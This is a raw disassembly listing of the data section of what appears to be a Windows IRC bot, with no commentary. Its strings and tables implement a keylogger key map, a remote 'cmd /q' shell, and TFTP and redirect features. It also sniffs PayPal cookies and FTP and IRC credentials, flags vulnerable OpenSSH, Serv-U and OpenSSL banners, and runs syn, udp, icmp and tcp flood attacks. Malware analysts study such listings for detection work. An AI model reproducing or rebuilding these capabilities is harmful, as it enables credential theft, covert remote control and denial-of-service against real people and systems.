align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41011E+330o
; sub_41011E+486o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41011E+30Eo
align 4
aS_0 db '<%s>',0 ; DATA XREF: sub_41011E+2E4o
; sub_41011E+413o
align 10h
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41011E+2BAo
aAm db 'AM',0 ; DATA XREF: sub_41011E+290o
align 4
aPm db 'PM',0 ; DATA XREF: sub_41011E+285o
align 4
a__ db '..',0 ; DATA XREF: sub_41011E+232o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41011E+1C0o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41011E+147o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41011E+12Bo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41011E+F7o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41011E+ADo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41011E+78o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41011E+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_41088B+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
unk_43C280 db 2Dh ; - ; DATA XREF: sub_4109AC+15Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_36 db 'Failed to start client thread, error: <%d>.',0
unk_43C2BC db 2Dh ; - ; DATA XREF: sub_4109AC+E9o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnecti db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_43C304 db 2Dh ; - ; DATA XREF: sub_410B3D+1AAo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_37 db 'Failed to start connection thread, error: <%d>.',0
unk_43C344 db 2Dh ; - ; DATA XREF: sub_410B3D+E1o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_0 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_43C388 db 2Dh ; - ; DATA XREF: .nsp0:00410FAAo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_43C3B4 db 2Dh ; - ; DATA XREF: .nsp0:00410F83o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 10h
unk_43C3E0 db 2Dh ; - ; DATA XREF: .nsp0:00410F63o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: .nsp0:00410F33o
align 4
unk_43C41C db 2Dh ; - ; DATA XREF: .nsp0:00410EA2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
unk_43C448 db 2Dh ; - ; DATA XREF: .nsp0:loc_41100Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
dword_43C474 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_411020+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h
dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
dd 656E7275h, 3C203A64h, 2E3E6425h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h
dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h
dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
dd 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 10h
unk_43C610 db 2Dh ; - ; DATA XREF: sub_4112D7+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_43C644 db 2Dh ; - ; DATA XREF: sub_4112D7+59o
; sub_4112D7+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_43C68C db 2Dh ; - ; DATA XREF: sub_411428+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_43C6B4 db 2Dh ; - ; DATA XREF: sub_411428+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_43C6F4 db 2Dh ; - ; DATA XREF: sub_411428+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_43C734 db 2Dh ; - ; DATA XREF: sub_411521+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411521+8Co
align 4
unk_43C774 db 2Dh ; - ; DATA XREF: sub_4115FA+A1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
dword_43C7B0 dd 234032Dh, 6B636F73h, 3023473haFailedToSta_38 db '- Failed to start server on Port %d.',0
align 4
dword_43C7E4 dd 234032Dh, 6B636F73h, 3023473haFailedToSta_39 db '- Failed to start client thread, error: <%d>.',0
align 10h
dword_43C820 dd 234032Dh, 6B636F73h, 3023473haClientConnec_1 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 4
dd 234032Dh, 6B636F73h, 3023473h
aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 4
dd 234032Dh, 6B636F73h, 3023473h
aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 4
dword_43C8E8 dd 234032Dh, 6B636F73h, 3023473h, 7541202Dh, 6E656874h
; DATA XREF: .nsp0:00411AC6o
dd 61636974h, 6E6F6974h, 69616620h, 2E64656Ch, 6D655220h
dd 2065746Fh, 72657375h, 203A6469h, 21207325h, 7325203Dh
dd 2Eh, 4000500h, 7868746Bh, 0
aTftpTransferCo db 'Tftp transfer complete to: %s',0
align 4
aTftpTransferSt db 'Tftp transfer started to: %s',0
align 8
dw 8
unicode 0, <>,0
aB_1: ; DATA XREF: .nsp0:loc_4123D9o
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_43D0AC dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_43D0E4 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0041229Do
align 4
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: .nsp0:0041251Eo
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: .nsp0:004124DBo
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: .nsp0:00412385o
align 10h
off_43D160 dd offset dword_43D9D8 ; DATA XREF: .nsp0:00412890r
dd offset off_43D9D4
dd offset off_43D9D0
dd offset aHttp_0 ; "HTTP"
dword_43D170 dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_43D184 dd 0 dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: .nsp0:0043D16Co
align 10h
off_43D9D0 dd offset word_505446 ; DATA XREF: .nsp0:0043D168o
off_43D9D4 dd offset off_435248+1 ; DATA XREF: .nsp0:0043D164o
dword_43D9D8 dd 544F42h dword_43D9DC dd 234032Dh, 696E7370h, 3026666haRecvFailedRetu db '- recv() failed, returned %d',0
align 4
dword_43DA08 dd 234032Dh, 696E7370h, 3026666haSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0
dword_43DA3C dd 234032Dh, 696E7370h, 3026666h, 2Dhdword_43DA4C dd 4E53505Bh, 5D464649h, 0dword_43DA58 dd 234032Dh, 696E7370h, 3026666haWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 4
dword_43DA88 dd 234032Dh, 696E7370h, 3026666haBindFailedRetu db '- bind() failed, returned %d',0
align 4
dword_43DAB4 dd 234032Dh, 696E7370h, 3026666haSocketFailedRe db '- socket() failed, returned %d',0
align 10h
aHashin db ':!hashin',0 ; DATA XREF: .nsp0:00412A65o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: .nsp0:00412A50o
align 4
aIdent db ':!ident',0 ; DATA XREF: .nsp0:00412A3Bo
a_ident db ':.ident',0 ; DATA XREF: .nsp0:00412A2Ao
a_login db ':.Login',0 ; DATA XREF: .nsp0:00412A19o
aLogin_0 db ':!Login',0 ; DATA XREF: .nsp0:00412A08o
aLogin_1 db ':!login',0 ; DATA XREF: .nsp0:004129F7o
a_login_0 db ':.login',0 ; DATA XREF: .nsp0:004129E6o
a366 db '366 ',0 ; DATA XREF: .nsp0:004129D5o
align 10h
a302_0 db '302 ',0 ; DATA XREF: .nsp0:loc_4129C4o
align 4
aJoin_0 db 'JOIN #',0 ; DATA XREF: .nsp0:004129AFo
align 10h
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: .nsp0:0041299Eo
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: .nsp0:0041298Do
align 4
aBotSniff db 'Bot sniff',0 ; DATA XREF: .nsp0:00412967o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412A79+62o
aOper db 'oper ',0 ; DATA XREF: sub_412A79+51o
align 4
aNick_1 db 'NICK ',0 ; DATA XREF: sub_412A79:loc_412AB9o
; sub_412AEF+2Bo
align 10h
aOper_0 db 'OPER ',0 ; DATA XREF: sub_412A79+2Bo
align 4
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412A79+5o
align 4
aPass_1 db 'PASS ',0 ; DATA XREF: sub_412AEF+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_412AEF+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_412AEF:loc_412B40o
align 4
a220 db '220 ',0 ; DATA XREF: sub_412AEF+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_412AEF+5o
align 10h
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412B76+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412B76+62o
align 4
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412B76+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412B76:loc_412BB6o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_412B76+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412B76+5o
align 10h
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_412BFD+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_412BFD:loc_412C3Do
align 10h
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_412BFD+2Bo
align 10h
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_412BFD+5o
align 4
unk_43DC4C db 2Dh ; - ; DATA XREF: .nsp0:0041304Eo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_43DC84 db 2Dh ; - ; DATA XREF: .nsp0:00412FE4o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_43DCBC db 2Dh ; - ; DATA XREF: .nsp0:00412FB3o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43DCF0 db 2Dh ; - ; DATA XREF: .nsp0:00412F7Do
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43DD58 db 2Dh ; - ; DATA XREF: .nsp0:00412DADo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0
align 4
unk_43DD88 db 2Dh ; - ; DATA XREF: .nsp0:00412D27o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRe_0 db '- bind() failed, returned %d',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_43DDDC dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_413107+302o
dd 203A726Fh, 6425h
dword_43DDF8 dd 736F6464h, 6E61722Eh, 6D6F64hdword_43DE04 dd 736F6464h, 6B63612Eh, 0dword_43DE10 dd 736F6464h, 6E79732Eh, 0 dd 234032Dh, 706D6369h, 202D0302h, 656E6F64h, 74697720h
dd 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh, 6573202Eh
dd 2520746Eh, 61702064h, 74656B63h, 20402073h, 424B6425h
dd 6365732Fh, 64252820h, 2E29424Dh, 0
dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h
dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h
dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h
dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h
dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h
dd 25282064h, 2F424B69h, 29636573h, 0
dd 234032Dh, 26E7973h, 44202D03h, 20656E6Fh, 68746977h
dd 6F6C6620h, 2820646Fh, 424B6925h, 6365732Fh, 2E29h, 234032Dh
dd 26E7973h, 53202D03h, 20646E65h, 6F727265h, 3C203A72h
dd 2E3E6425h, 0
dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh
dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h
dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
dd 2Eh, 6E7973h, 234032Dh, 2706374h, 49202D03h, 6C61766Eh
dd 74206469h, 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h
dd 45202D03h, 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh
